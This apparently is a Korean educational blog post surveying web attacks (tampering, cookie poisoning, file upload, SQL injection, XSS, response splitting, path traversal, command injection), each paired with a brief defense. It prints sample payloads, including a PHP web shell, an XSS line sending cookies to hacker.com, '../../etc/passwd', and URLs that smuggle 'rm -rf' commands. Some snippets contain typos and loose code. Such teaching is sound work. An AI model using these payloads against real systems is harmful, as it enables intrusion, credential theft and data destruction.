1. Injecting Malicious Data

웹 어플리케이션에 조작된 데이터를 입력하여 공격.

  • Parameter Tampering
  • URL Tampering
  • Hidden Field Manipulation
  • HTTP Header Manipulation
  • Cookie Poisoning
  • Executable File Upload

 

2. Exploiting Unchecked Input

사용자의 입력을 체크 하지 않아서 발생하는 공격

  • SQL Injection
  • Cross-site Scripting
  • HTTP Response Splitting
  • Path Traversal
  • Commnad Injection
 

 

1.1 Parameter Tampering

 

웹 어플리케이션에서 사용하는 매개변수(Parameter)를 강제로 입력하여 어플리케이션의 의도대로 동작하지 않게 하는 공격.

[HTML code]

 

< script>

var form = document.Login;

id(!form.id.value){

return false;

}

< /script>

 

[Java code]

String strID = request.getParameter("id");

위 코드의 원래 의도는 사용자가 ID폼이 빈칸이 될 수 없도록 조건 검사를 하는 것

하지만 위 코드는HTML 파일을 PC에 따로 저장해서 저 스크립트를 빼버리는 것 만으로 의도를 빗겨나갈 수 있다.

이런 공격을 해결하기 위해서는 Java script에서 아이디 필드가 비었는지 체크하는 것이 아니고,

서버사이드에서도 id Parameter가 비어있는지 체크해야 함.

전자 상거래 초창기에는 위와 같은 사례가 많았습니다. 예를 들어 상품을 보여주는데 상품 가격을 Read-only 속성이 있는 폼에 넣고 서버 사이드에서는 해당 폼에서 값을 읽어와 사용자의 포인트를 차감하면서 상품을 배송해주었던 사례도 있으며, 이것은 폼의 Read-only 속성만을 제거하면 10원으로 100,000원 짜리 물건을 살 수 있었다는 것을 의미 함.

 

1.2 URL Tampering

GET방식(URL사용)으로 중요한 데이터를 보내는 경우에 이를 조작하여 공격자가 의도 하는 대로 동작을 바꾸는 것 공격 방식.

[정상적인 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=1000

[공격 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=-5000

 

 

정상적인 URL이 실행되면 Attacker라는 ID에서 1000 포인트를 차감하여 Attacker2라는 사용자에게 1000 포인트를 전송한다고 가정. 이때 Attacker가 위 URL을 -5000이라고 바꾸어 실행하면 내부적으로 다음과 같은 코드가 동작.

Attacker.Point -= DebitAmount;
Attacker2.Point += DebitAmount;

-5000이라는 입력은 위 코드에 들어가서 반대로 Attacker2에서 -5000을 빼고, 공격자 본인에게 +5000을 하게 될 것입니다. 이런 공격 방식 또한 대부분 인지하고 있어서 위와 같은 문제가 발생하지 않게 하고 있습니다.

방어를 위해서는, GET 방식으로 중요한 데이터를 주고 받지 말아야 함.
그 후 서버사이드로 넘어오는 모든 값을 체크 할 것.

위와 같은 코드에서는 DebitAmount에 마이너스 값이 들어오면 경고를 하고 코드가 동작하지 않도록 해야 함.

 

 

 

 1.3 Hidden Field Manipulation

웹 페이지가 Hidden 타입을 이용하여 값을 웹 어플리케이션으로 전달하는 방법을 이용하는 공격.

 

웹 페이지를 로컬에 저장한 후 태그 값을 수정하여 실행하는 것 만으로도 공격이 가능.
최근에 나오는 브라우저는 브라우저에서 바로 값을 수정하여 실행시킬 수 있기 때문에 더욱 공격이 쉬워짐.

 

[정상적인 HTML 코드]
< input type="hidden" name="price" value="100000">

[수정한 HTML 코드]
< input ytpe="hidden" name="price" value="10">

 

이 공격을 방어하기 위해서는 아무리 중요하지 않은 정보라도 Hidden 태그로 처리하기 보다는
서버사이드에서 DB와 연동하여 직접 처리해야 합니다.

 

1.4 HTTP Header Manipulation

 

웹 어플리케이션이 HTTP 헤더의 정보를 이용할 때, 이를 조작하여 웹 어플리케이션이 오 동작 하도록 유인하는 공격 방식

 

예를 들어 A 사이트를 통해서 B 사이트로 들어오는 정보를 특별하게 처리하기 위해 HTTP Header의 Referer 필드를 이용하는 경우 충분히 조작이 가능.

 

[HTTP Header]

Get Shell.php

RERFERER http://trust.com

 

B 사이트에서 Shell.php 요청 명령을 받았을 때, 위 박스에 있는 헤더처럼 trust.com 사이트를 통해 들어온 명령이면 처리하고 그렇지 않으면 거부하는 코드가 있다고 가정했을 때, 이것은 C사이트에서 것처럼 Header 변경하여 위변조 가능.

 

공격을 방어하기 위해서는 HTTP Header 신뢰하지 않아야.

 

 

 

1.5 Cookie Poisoning

쿠키 변조 또는 쿠키 중독 공격이라고 부르며, 쿠키에 저장된 파라미터를 공격하는 파라미터 변조 공격의 일종이다. Cookie를 조작하여 원하는 결과를 도출해 낼 때 사용.

 

 

 

Cookie란 웹 사이트의 특정 정보를 저장하는 기법으로 사용자의 PC 장치에 저장되며 서버에도 저장될 있다.

 

보통 Cookie에는 사용자의 정보를 많이 저장하는데 물건을 구매하거나 메일을 보낼 Cookie 사용한다면 변조 함으로써 특정 계정에 대한 접근 권한을 얻거나, 또한 사용자의 쿠키를 훔쳐서 ID, PW 없이 또는 인증 없이 사용자 계정을 얻을 수 있다

 

[Cookie.txt]

ID=Victim SessionID=102

 

[Web application]

GetCookie(ID)->Point -= 100000;

GetCookie(ID)->BuyProduct("컴퓨터");

 

 

 

사용자의 정보를 쿠키에 저장한 후, 물건을 구매할 때 서버에서 이 정보를 불러와서 물건을 결제하는 코드.

사용자의 ID는 사용자의 PC에 있는 쿠키에 저장되어 있으므로 이 쿠키를 조작한다면 내가 원하는 사람에게 결제를 하면서 나에게 배송되게 할 수 있는 것.

 

이를 해결하기 위해서는 세션을 이용하고, 모든 중요한 정보는 서버사이드에서 처리, 쿠키에 중요한 정보에 대한 저장을 막거나 전송 시 암호화 한다.

 

 1.6 Executable File Upload

웹 서버에서 실행될 수 있는 파일(PHP, JSP, ASP 등)을 업로드 하여 원하는 코드를 실행시키는 공격 방법. 웹 초기에 유행했던 공격 방식.

 

[Hack.php]

passthru($cmd)

 

만약 PHP가 동작하는 웹 사이트에 Hack.php 파일이 업로드 된다면 http://victim.com/Hack.php?cmd="rm-rf *" 와 같은 URL에 접근하여 웹 서버 내부에 침투할 수 있게 됨.

cmd에 넣는 모든 쉘 명령어를 웹 서버가 처리.

 

하지만 워낙 고전이라는 것에 허점이 있어서 모두가 안심하고 있을 때,

전 Apache 서버의 버그로 이 공격이 일파만파 다시 시도.

그것은 Apache의 기능 중 접속 국가별로 다른 페이지를 보여주기 위해 .kr, .jp 와 같은 확장자를 사용하는 옵션에서,서버사이드는 끝의 확장자가 .php만 막을 뿐 이였고,아파치는 .php.kr 또한 php 파일로 처리.

 

2.1 SQL Injection 

SQL injection 은 사용자의 입력이 back-end database에 바로 전달 되어 실행되는 취약점

 

[JAVA]

HttpServletRequest request = ...;

String userName = request.getParameter("name");

Connection con = ...

String query = "SELECT * FROM Users " + " WHERE name =’" + userName + "’";

con.execute(query);

 

 

 

[공격]

<input type=“text” name=“name” value=“'or 1=1;”>

 

이 때 name에 'or 1==1; 를 입력한다면

쿼리는 SELECT * from USER where name=''or 1==1; 같이 입력하게 되면 모든 사용자에 대해 출력.

 

SQL Injection은 이제 서버사이드의 언어 자체에서 거르는 기능을 통해 크게 발생하고 있지는 않지만, 방어를 우회할 수 있는 많은 응용 방법이 나오고, 아직까지 가장 광범위하게 사용되고 있는 공격 방식.

 

방어하기 위해서는 HTML에서 입력을 받을 때 특수 문자나 여러 가지 상황을 고려해 방어하거나, 입력 받는 문자를 스트링으로 강제 변환하여 받는 방법 등으로 해결해야 할 것 입니다.

 

 

2.2 Cross-site Scripting

 

 

악의 적인 사용자가 웹 서버를 통해 다른 클라이언트의 컴퓨터에서 악의적인 코드를 실행시키는 기법.

사용자의 컴퓨터에서 자바스크립트가 실행 된다는 점을 이용한다.

이를 통해 다른 사용자의 쿠기를 자신의 메일로 전송하게 하거나, 다른 사용자에게 악성 코드를 설치하는 등 여러가지 공격을 수행.

 

대표 기법

- Reflected XSS : 공격 스크립트가 삽입 된 URL을 사용자가 쉽게 확인할 수 없도록 변형 시킨 후 이메일이나 다른 웹사이트 등에 올려 클릭을 유도 하도록 하는 기법

- Stored XSS : 스크립트를 웹 서버에 저장하여 사용자가 해당 페이지를 클릭하는 순간 스크립트가 실행되도록 하는 기법 (XSS 보안 처리가 안된 게시판에 공격자가 게시글에 스크립트를 삽입)

<script>

String strCookie = Document.GetCookie();

Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);

< /script>

 

위의 박스와 같은 코드를 자바 스크립트가 동작하는 페이지에 삽입하여, 다른 사용자의 쿠키를 자신의 서버에 저장하는 방식이 있을 수 있다.

 

 

 2.3 HTTP Response Splitting

웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 있다면 응답 메시지를 조작하여 Proxy 서버를 공격자의 의도대로 조작할 수 있는 공격 방식.

공격받은Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 될 수 있다.

 

[JSP]

response.sendRedirect("/by_lang.jsp?lang="+request.getParameter("lang"));

 

만약JSP에서 위와 같은 코드를 사용한다면 공격자가 다음과 같은 코드를 보내서 프록시에게 응답 패킷이 두개라고 착각하게 만들 수 있습니다.

 

[공격 코드]

HTTP://victim.com/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a0d%0a<html>Getroot</html>

 

http://victim.com//index.html

 

서버사이드에서는 공격 코드에 있는 인자를 그대로 받아서 처리하기 때문에 foobar 이후의 코드를 그대로 응답에 사용하게 될 것. 이 때 공격자가 http://victim.com/index.html을 빠르게 요청하면 프록시 서버에서는 다음과 같이 응답이 온것으로 착각.

 

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http:// victim.com /by_lang.jsp?lang=foobar

Content-Length: 0

 

<index.html 에 매칭>

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Getroot</html>

 

따라서 해당 프록시를 사용하는 사용자는 http://victim.com/index.html에 접근할 때 마다 Getroot 라는 조작된 페이지를 보게 될 것. 매우 많은 사용자가 사용하는 프록시 서버라면 Cross-site scripting과 결합하여 모든 URL로부터 악성코드가 감염되도록 조작할 수 있을 것입니다.

 

2.4 Path Traversal

웹 페이지에서 전달 받은 인자를 그대로 Path로 사용할 때, 해당 값을 조작하여 원하는 파일에 접근할 수 있게 되는 방식.

 

 

 

[정상적인 URL]

 

http://www.victim.com/OpenFile.jsp?text.txt

 

 

 

[공격]

 

http://www.victim.com/OpenFile.jsp?../../etc/passwd

 

 

 

정상적인 URL에서는 text.txt 와 같이 정상적인 파일에 접근하는 것으로 사용하지만, 공격자가 ../../을 사용함으로써 다른 시스템의 오픈 되지 않은 다른 디렉토리에 접근할 수 있는 여지가 발생.

 

 

 

공격을 방어하기 위해서는 사용자의 입력을 그대로 시스템에서 사용하지 말아야 함.

 

 

 

2.5 Commnad Injection

웹 어플리케이션에서 사용자의 입력을 직접적인 Shell 명령으로 이용할 때 이를 조작하여 원하는 명령을 실행할 수 있는 공격.

 

[ListFile.php]

Passthru(ls $path);

 

위와 같이 사용자에게 path라는 인자를 받아서 이를 ls 에 사용하여 원하는 디렉토리의 파일 목록을 보여주는 코드가 있다고 가정. 프로그래머는 당연히 ls 명령이므로 보안상 문제가 없을 이라고 예상.

 

다음과 같은 입력을 하여 시스템에 모든 명령을 내릴 수 있다.

 

[공격]

http://www.victim.com/ListFile.php?paht="/etc/;rm-rf /*"

 

명령어와 명령어 사이에 ;를 입력하면 두 가지 명령어가 순차적으로 수행되는 쉘 기능이 있기 때문에 위 공격 코드는 ls /etc와 rm -rf /* 명령어 두 개가 동시에 수행되는 것.

 

이 문제를 해결하기 위해서는 사용자의 입력을 그대로 쉘 명령으로 수행 금지.

어떤 상황에서도 모든 사용자의 입력은 한번 가공해서 처리해야 한다.

 

 

반응형

'Pentesting' 카테고리의 다른 글

Hashcat 사용법 (Password Crack)  (1) 2023.11.15
hydra(FTP Crack) - MacOS hydra 설치  (0) 2022.08.10
Dumping And Cracking Unix Password Hashes  (0) 2015.01.05